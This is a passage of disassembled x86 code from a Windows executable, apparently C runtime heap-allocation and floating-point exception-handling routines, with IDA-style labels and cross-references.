[edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_4159D7 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_4159A8 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_415996 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_415996: ; CODE XREF: sub_415723+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_4159D7 ; --------------------------------------------------------------------------- loc_4159A8: ; CODE XREF: sub_415723+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_4159C1 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_4159C1: ; CODE XREF: sub_415723+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_4159D7: ; CODE XREF: sub_415723+24Ej ; sub_415723+283j mov ecx, [ebp+var_8] loc_4159DA: ; CODE XREF: sub_415723+1A4j test ecx, ecx jz short loc_4159E9 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_4159E9 ; --------------------------------------------------------------------------- loc_4159E6: ; CODE XREF: sub_415723+229j mov ecx, [ebp+var_8] loc_4159E9: ; CODE XREF: sub_415723+2B9j ; sub_415723+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_415A1F cmp ebx, dword_464214 jnz short loc_415A1F mov ecx, [ebp+var_4] cmp ecx, dword_46420C jnz short loc_415A1F and dword_464214, 0 loc_415A1F: ; CODE XREF: sub_415723+2E0j ; sub_415723+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_415A27: ; CODE XREF: sub_415723+F0j pop edi pop esi pop ebx leave retn sub_415723 endp ; =============== S U B R O U T I N E ======================================= sub_415A2C proc near ; CODE XREF: sub_415723+CCp mov eax, dword_464218 mov ecx, dword_464208 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_415A6F lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_46421C push edi push dword_464220 call dword_41D158 ; RtlReAllocateHeap cmp eax, edi jz short loc_415ABF add dword_464208, 10h mov dword_46421C, eax mov eax, dword_464218 loc_415A6F: ; CODE XREF: sub_415A2C+11j mov ecx, dword_46421C push 41C4h push 8 lea eax, [eax+eax*4] push dword_464220 lea esi, [ecx+eax*4] call dword_41D144 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_415ABF push 4 push 2000h push 100000h push edi call dword_41D174 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_415AC3 push dword ptr [esi+10h] push edi push dword_464220 call dword_41D148 ; RtlFreeHeap loc_415ABF: ; CODE XREF: sub_415A2C+30j ; sub_415A2C+67j xor eax, eax jmp short loc_415ADA ; --------------------------------------------------------------------------- loc_415AC3: ; CODE XREF: sub_415A2C+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_464218 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_415ADA: ; CODE XREF: sub_415A2C+95j pop edi pop esi retn sub_415A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415ADD proc near ; CODE XREF: sub_415723+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_415AEF: ; CODE XREF: sub_415ADD+19j test eax, eax jl short loc_415AF8 shl eax, 1 inc ebx jmp short loc_415AEF ; --------------------------------------------------------------------------- loc_415AF8: ; CODE XREF: sub_415ADD+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_415B0D: ; CODE XREF: sub_415ADD+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_415B0D mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call dword_41D174 ; VirtualAlloc test eax, eax jnz short loc_415B40 or eax, 0FFFFFFFFh jmp loc_415BD3 ; --------------------------------------------------------------------------- loc_415B40: ; CODE XREF: sub_415ADD+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_415B86 lea eax, [edi+10h] loc_415B4D: ; CODE XREF: sub_415ADD+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_415B4D loc_415B86: ; CODE XREF: sub_415ADD+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_415BC3 or [eax+4], edi loc_415BC3: ; CODE XREF: sub_415ADD+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_415BD3: ; CODE XREF: sub_415ADD+5Ej pop edi pop esi pop ebx leave retn sub_415ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BD8 proc near ; CODE XREF: sub_413D8F+58p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_415D86 test bl, 1 jnz loc_415D7F add ebx, ecx cmp esi, ebx jg loc_415D7F mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_415C4F push 3Fh pop ecx mov [ebp+var_8], ecx loc_415C4F: ; CODE XREF: sub_415BD8+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_415C9F cmp ecx, 20h jnb short loc_415C7B mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_415C9F mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_415C9F ; --------------------------------------------------------------------------- loc_415C7B: ; CODE XREF: sub_415BD8+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_415C9F mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_415C9F: ; CODE XREF: sub_415BD8+7Dj ; sub_415BD8+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_415D6D mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_415CD9 push 3Fh pop edi loc_415CD9: ; CODE XREF: sub_415BD8+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_415D5B mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_415D32 cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_415D25 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_415D25: ; CODE XREF: sub_415BD8+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_415D57 ; --------------------------------------------------------------------------- loc_415D32: ; CODE XREF: sub_415BD8+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_415D48 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_415D48: ; CODE XREF: sub_415BD8+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_415D57: ; CODE XREF: sub_415BD8+158j shr edx, cl or [eax], edx loc_415D5B: ; CODE XREF: sub_415BD8+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_415D70 ; --------------------------------------------------------------------------- loc_415D6D: ; CODE XREF: sub_415BD8+E5j mov edx, [ebp+arg_4] loc_415D70: ; CODE XREF: sub_415BD8+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_415EC6 ; --------------------------------------------------------------------------- loc_415D7F: ; CODE XREF: sub_415BD8+52j ; sub_415BD8+5Cj xor eax, eax jmp loc_415EC9 ; --------------------------------------------------------------------------- loc_415D86: ; CODE XREF: sub_415BD8+49j jge loc_415EC6 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_415DB1 push 3Fh pop esi loc_415DB1: ; CODE XREF: sub_415BD8+1D4j test byte ptr [ebp+var_4], 1 jnz loc_415E40 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_415DCA push 3Fh pop esi loc_415DCA: ; CODE XREF: sub_415BD8+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_415E19 cmp esi, 20h jnb short loc_415DF5 mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_415E16 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_415E16 ; --------------------------------------------------------------------------- loc_415DF5: ; CODE XREF: sub_415BD8+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_415E16 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_415E16: ; CODE XREF: sub_415BD8+214j ; sub_415BD8+21Bj ... mov ebx, [ebp+arg_4] loc_415E19: ; CODE XREF: sub_415BD8+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_415E40 push 3Fh pop esi loc_415E40: ; CODE XREF: sub_415BD8+1DDj ; sub_415BD8+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_415EBD mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_415E94 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_415E87 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_415E87: ; CODE XREF: sub_415BD8+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_415EB9 ; --------------------------------------------------------------------------- loc_415E94: ; CODE XREF: sub_415BD8+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_415EAA lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_415EAA: ; CODE XREF: sub_415BD8+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_415EB9: ; CODE XREF: sub_415BD8+2BAj shr edx, cl or [eax], edx loc_415EBD: ; CODE XREF: sub_415BD8+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_415EC6: ; CODE XREF: sub_415BD8+1A2j ; sub_415BD8:loc_415D86j push 1 pop eax loc_415EC9: ; CODE XREF: sub_415BD8+1A9j pop edi pop esi pop ebx leave retn sub_415BD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_415ECE(int, int, double, int) sub_415ECE proc near ; CODE XREF: sub_412842+51p ; sub_41298B+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_431E28, 0 jnz short loc_415F03 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_416483 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_415F03: ; CODE XREF: sub_415ECE+Aj push 0FFFFh mov dword_462BC4, 21h push [ebp+arg_C] call sub_4166F6 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_415ECE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415F21(int, int, double, double, int) sub_415F21 proc near ; CODE XREF: sub_412842:loc_412905p ; sub_41298B:loc_412A4Ep var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_41626C add esp, 0Ch test eax, eax jnz short loc_415F5F lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_415FB9 add esp, 18h loc_415F5F: ; CODE XREF: sub_415F21+1Aj push [ebp+arg_0] call sub_416556 cmp dword_431E28, 0 pop ecx jnz short loc_415F9D test eax, eax jz short loc_415F9D push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_416483 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_415F9D: ; CODE XREF: sub_415F21+4Ej ; sub_415F21+52j push eax call sub_41650B mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_4166F6 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_415F21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415FB9 proc near ; CODE XREF: sub_415F21+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_415FEB mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_415FEB: ; CODE XREF: sub_415FB9+23j test cl, 2 jz short loc_415FFE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_415FFE: ; CODE XREF: sub_415FB9+35j test cl, bl jz short loc_416010 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_416010: ; CODE XREF: sub_415FB9+47j test cl, 4 jz short loc_416023 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_416023: ; CODE XREF: sub_415FB9+5Aj test cl, 8 jz short loc_416036 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_416036: ; CODE XREF: sub_415FB9+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4166D9 test al, bl jz short loc_4160BF mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4160BF: ; CODE XREF: sub_415FB9+FDj test al, 4 jz short loc_4160CA mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4160CA: ; CODE XREF: sub_415FB9+108j test al, 8 jz short loc_4160D5 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4160D5: ; CODE XREF: sub_415FB9+113j test al, 10h jz short loc_4160DF mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4160DF: ; CODE XREF: sub_415FB9+11Ej test al, 20h jz short loc_4160E9 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4160E9: ; CODE XREF: sub_415FB9+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_416128 cmp eax, 400h jz short loc_41611A cmp eax, 800h jz short loc_41610E cmp eax, ecx jnz short loc_41612E mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_41612E ; --------------------------------------------------------------------------- loc_41610E: ; CODE XREF: sub_415FB9+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_416124 ; --------------------------------------------------------------------------- loc_41611A: ; CODE XREF: sub_415FB9+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_416124: ; CODE XREF: sub_415FB9+15Fj mov [eax], ecx jmp short loc_41612E ; --------------------------------------------------------------------------- loc_416128: ; CODE XREF: sub_415FB9+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_41612E: ; CODE XREF: sub_415FB9+14Bj ; sub_415FB9+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_416159 cmp eax, 200h jz short loc_41614C cmp eax, ecx jnz short loc_416166 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_416166 ; --------------------------------------------------------------------------- loc_41614C: ; CODE XREF: sub_415FB9+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_416164 ; --------------------------------------------------------------------------- loc_416159: ; CODE XREF: sub_415FB9+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_416164: ; CODE XREF: sub_415FB9+19Ej mov [eax], ecx loc_416166: ; CODE XREF: sub_415FB9+189j ; sub_415FB9+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4166E7 lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call dword_41D17C ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4161E0 and dword ptr [esi], 0FFFFFFFEh loc_4161E0: ; CODE XREF: sub_415FB9+222j test byte ptr [eax+8], 8 jz short loc_4161E9 and dword ptr [esi], 0FFFFFFFBh loc_4161E9: ; CODE XREF: sub_415FB9+22Bj test byte ptr [eax+8], 4 jz short loc_4161F2 and dword ptr [esi], 0FFFFFFF7h loc_4161F2: ; CODE XREF: sub_415FB9+234j test byte ptr [eax+8], 2 jz short loc_4161FB and dword ptr [esi], 0FFFFFFEFh loc_4161FB: ; CODE XREF: sub_415FB9+23Dj test [eax+8], bl jz short loc_416203 and dword ptr [esi], 0FFFFFFDFh loc_416203: ; CODE XREF: sub_415FB9+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_416237 dec ecx jz short loc_41622B dec ecx jz short loc_416221 dec ecx jnz short loc_416239 or byte ptr [esi+1], 0Ch jmp short loc_416239 ; --------------------------------------------------------------------------- loc_416221: ; CODE XREF: sub_415FB9+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_416233 ; --------------------------------------------------------------------------- loc_41622B: ; CODE XREF: sub_415FB9+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_416233: ; CODE XREF: sub_415FB9+270j mov [esi], ecx jmp short loc_416239 ; --------------------------------------------------------------------------- loc_416237: ; CODE XREF: sub_415FB9+257j and [esi], edx loc_416239: ; CODE XREF: sub_415FB9+260j ; sub_415FB9+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_416259 dec ecx jz short loc_416250 dec ecx jnz short loc_416262 and [esi], edx jmp short loc_416262 ; --------------------------------------------------------------------------- loc_416250: ; CODE XREF: sub_415FB9+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_416260 ; --------------------------------------------------------------------------- loc_416259: ; CODE XREF: sub_415FB9+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_416260: ; CODE XREF: sub_415FB9+29Ej mov [esi], ecx loc_416262: ; CODE XREF: sub_415FB9+291j ; sub_415FB9+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_415FB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41626C proc near ; CODE XREF: sub_415F21+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_416297 test byte ptr [ebp+arg_8], bl jz short loc_416297 push ebx call sub_416719 pop ecx and edi, 0FFFFFFF7h jmp loc_416461 ; --------------------------------------------------------------------------- loc_416297: ; CODE XREF: sub_41626C+15j ; sub_41626C+1Aj test al, 4 jz short loc_4162B1 test byte ptr [ebp+arg_8], 4 jz short loc_4162B1 push 4 call sub_416719 pop ecx and edi, 0FFFFFFFBh jmp loc_416461 ; --------------------------------------------------------------------------- loc_4162B1: ; CODE XREF: sub_41626C+2Dj ; sub_41626C+33j test al, bl jz loc_41638B test byte ptr [ebp+arg_8], 8 jz loc_41638B push 8 call sub_416719 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_416363 cmp ecx, 400h jz short loc_41633B cmp ecx, 800h jz short loc_416313 cmp ecx, eax jnz loc_416383 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_41D7A8 fld dbl_4317B8 fnstsw ax sahf ja short loc_41630B fchs loc_41630B: ; CODE XREF: sub_41626C+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_416381 ; --------------------------------------------------------------------------- loc_416313: ; CODE XREF: sub_41626C+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_41D7A8 fnstsw ax sahf jbe short loc_41632B fld dbl_4317A8 jmp short loc_416333 ; --------------------------------------------------------------------------- loc_41632B: ; CODE XREF: sub_41626C+B5j fld dbl_4317B8 fchs loc_416333: ; CODE XREF: sub_41626C+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_416381 ; --------------------------------------------------------------------------- loc_41633B: ; CODE XREF: sub_41626C+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_41D7A8 fnstsw ax sahf jbe short loc_416353 fld dbl_4317B8 jmp short loc_41635B ; --------------------------------------------------------------------------- loc_416353: ; CODE XREF: sub_41626C+DDj fld dbl_4317A8 fchs loc_41635B: ; CODE XREF: sub_41626C+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_416381 ; --------------------------------------------------------------------------- loc_416363: ; CODE XREF: sub_41626C+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_41D7A8 fld dbl_4317A8 fnstsw ax sahf ja short loc_41637B fchs loc_41637B: ; CODE XREF: sub_41626C+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_416381: ; CODE XREF: sub_41626C+A5j ; sub_41626C+CDj ... fstp qword ptr [ecx] loc_416383: ; CODE XREF: sub_41626C+81j and edi, 0FFFFFFFEh jmp loc_416461 ; --------------------------------------------------------------------------- loc_41638B: ; CODE XREF: sub_41626C+47j ; sub_41626C+51j test al, 2 jz loc_416461 test byte ptr [ebp+arg_8], 10h jz loc_416461 push esi xor esi, esi test al, 10h jz short loc_4163A6 mov esi, ebx loc_4163A6: ; CODE XREF: sub_41626C+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_41D7A8 fnstsw ax sahf jz loc_41644F fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_416618 mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4163F1 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_416445 ; --------------------------------------------------------------------------- loc_4163F1: ; CODE XREF: sub_41626C+17Aj fld [ebp+var_C] fcomp dbl_41D7A8 fnstsw ax sahf jnb short loc_416403 mov edx, ebx jmp short loc_416405 ; --------------------------------------------------------------------------- loc_416403: ; CODE XREF: sub_41626C+191j xor edx, edx loc_416405: ; CODE XREF: sub_41626C+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_416439 sub eax, ecx loc_41641C: ; CODE XREF: sub_41626C+1CBj test byte ptr [ebp+var_C], bl jz short loc_416427 test esi, esi jnz short loc_416427 mov esi, ebx loc_416427: ; CODE XREF: sub_41626C+1B3j ; sub_41626C+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_416433 or byte ptr [ebp+var_C+3], 80h loc_416433: ; CODE XREF: sub_41626C+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_41641C loc_416439: ; CODE XREF: sub_41626C+1ACj test edx, edx jz short loc_416445 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_416445: ; CODE XREF: sub_41626C+183j ; sub_41626C+1CFj fld 